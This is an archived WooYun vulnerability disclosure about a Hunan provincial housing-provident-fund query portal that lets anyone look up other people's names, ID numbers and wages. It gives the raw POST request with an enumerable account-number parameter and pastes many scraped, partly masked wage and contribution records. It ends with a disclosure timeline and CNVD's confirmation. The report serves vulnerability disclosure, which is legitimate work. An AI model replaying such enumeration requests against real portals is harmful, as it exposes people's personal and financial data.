乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-21: 细节已通知厂商并且等待厂商处理中 2015-12-25: 厂商已经确认,细节仅向厂商公开 2016-01-04: 细节向核心白帽子及相关领域专家公开 2016-01-14: 细节向普通白帽子公开 2016-01-24: 细节向实习白帽子公开 2016-02-07: 细节向公众公开
湖南省公积金任意用户查询/姓名/身份证/工资如果公司是按全额购买公积金,那么还可以查到工资
http://**.**.**.**:7001/wscx/进去之后,有一个请求:
POST /wscx/zfbzgl/gjjxxcx/gjjxx_cx.jsp HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer:Accept-Language: zh-CNUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateContent-Length: 49DNT: 1Host: **.**.**.**:7001Pragma: no-cacheCookie: JSESSIONID=; ASPSESSIONIDQCTBCCRB=; safedog-flow-item=Connection: closesfzh=&zgxm=&zgzh=05000200680671&dwbm=&cxyd=&zgzt=
然后就是跑数据了
*****9;, '正常', '4,500.00元', '720.00元', '0.00元', '360.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********;正常', '7,500.00元', '1,800.00元', '0.00元', '900.00元', '**********#039;正常', '2,500.00元', '400.00元', '0.00元', '200.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,910.00元', '306.00元', '0.00元', '153.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********039;正常', '15,462.00元', '3,712.00元', '0.00元', '1,856.00元', **********9;, '正常', '1,500.00元', '240.00元', '0.00元', '120.00元'**********9;, '正常', '1,500.00元', '240.00元', '0.00元', '120.00元'**********18', '正常', '2,000.00元', '320.00元', '0.00元', '160.00元**********', '封存', '4,388.00元', '704.00元', '0.00元', '352.00元'**********8', '正常', '3,611.00元', '578.00元', '0.00元', '289.00元'**********8', '正常', '4,000.00元', '640.00元', '0.00元', '320.00元'**********-18', '正常', '2,415.00元', '388.00元', '0.00元', '194.00元**********8', '正常', '4,055.00元', '650.00元', '0.00元', '325.00元'**********18', '正常', '2,373.00元', '380.00元', '0.00元', '190.00元**********8', '封存', '4,682.00元', '750.00元', '0.00元', '375.00元'**********', '正常', '7,000.00元', '1,120.00元', '0.00元', '560.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '封存', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元**********-18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元**********18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '封存', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '2,700.00元', '432.00元', '0.00元', '216.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********18', '正常', '1,250.00元', '200.00元', '0.00元', '100.00元**********-18', '正常', '2,400.00元', '576.00元', '0.00元', '288.00元**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'封存', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********'正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********#039;正常', '1,400.00元', '224.00元', '0.00元', '112.00元', &**********正常', '1,400.00元', '224.00元', '0.00元', '112.00元', '112.*****
危害等级:高
漏洞Rank:10
确认时间:2015-12-25 11:21
CNVD确认并复现所述情况,已经转由CNCERT下发给湖南分中心,由其后续协调网站管理单位处置。
暂无